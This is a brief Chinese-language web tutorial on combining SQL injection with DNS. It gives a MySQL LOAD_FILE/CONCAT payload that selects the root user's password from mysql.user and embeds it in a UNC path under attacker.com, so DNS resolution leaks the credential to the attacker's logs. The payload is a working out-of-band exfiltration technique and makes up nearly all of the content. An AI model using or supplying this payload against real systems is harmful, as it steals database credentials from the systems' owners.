当前位置：Gxlcms > 数据库问题 > 另一种的SQL注入和DNS结合的技巧

另一种的SQL注入和DNS结合的技巧

时间：2021-07-01 10:21:17 帮助过：11人阅读

LOAD_FILE(CONCAT(‘\\\\‘,(SELECT password FROM mysql.user WHERE user=‘root‘? LIMIT 1),‘.attacker.com\\foobar‘));

 

返回了：\\\\返回值（password）.attacker.com\\foobar。触发了DNS递归，导致日志记录。

 

另一种的SQL注入和DNS结合的技巧

标签：root   信息   blog   oba   tac   password   导致   pass   sel   

人气教程排行

本站所有资源全部来源于网络，若本站发布的内容侵害到您的隐私或者利益，请联系我们删除！